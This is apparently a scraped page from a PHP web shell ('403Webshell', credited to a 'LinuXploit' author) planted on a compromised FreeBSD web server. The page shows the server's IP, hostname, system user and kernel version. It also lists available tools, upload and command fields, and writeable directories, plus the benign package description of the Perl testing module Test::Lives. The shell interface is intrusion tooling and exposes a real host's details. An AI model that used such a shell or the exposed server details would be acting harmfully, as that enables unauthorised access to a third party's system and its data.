403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/devel/p5-Test-Lives/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/devel/p5-Test-Lives/pkg-descr
Test::Lives provides only one function, lives_and, which works almost exactly
like the function of the same name in Test::Exception. That is, it allows you to
test things that could (but shouldn't) throw an exception without having to have
two separate tests with two separate results (and two separate descriptions).

You pass it a block of code to run (which should contain one test assertion) and
a test description to give the assertion inside the block.

The description will be available inside the block in the $_ variable. (This is
different from Test::Exception, which employs hacky magic to relieve you of
having to pass the description to the decorated assertion.)

If the block ends up throwing an exception, a test failure will be logged.

Youez - 2016 - github.com/yon3zu
LinuXploit